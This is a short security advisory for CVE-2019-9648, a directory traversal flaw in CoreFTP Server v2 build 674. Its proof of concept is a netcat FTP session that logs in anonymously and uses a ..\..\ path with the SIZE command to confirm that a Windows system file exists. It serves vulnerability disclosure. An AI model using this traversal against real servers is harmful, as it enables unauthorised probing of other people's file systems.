CoreFTP Server FTP and SFTP Server version 2 build 674 suffer from a directory traversal vulnerability. By utilizing a directory traversal along with the FTP SIZE command, an attacker can browse outside the root directory to determine if a file exists based on return file size by using a ..\..\ technique.
bf05bbc2220c263ad1f75377d9581155CVE-2019-9648
CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE Directory Traversal
Discovered By: Kevin Randall
Summary: By utilizing a directory traversal along with the FTP SIZE
command, an attacker can browse outside the root directory to determine if
a file exists based on return file size by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat
Proof of Concept (PoC):
File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM
#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago
Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
SIZE C:\..\..\..\..\..\..\Windows\System32\ARP.exe
213 20992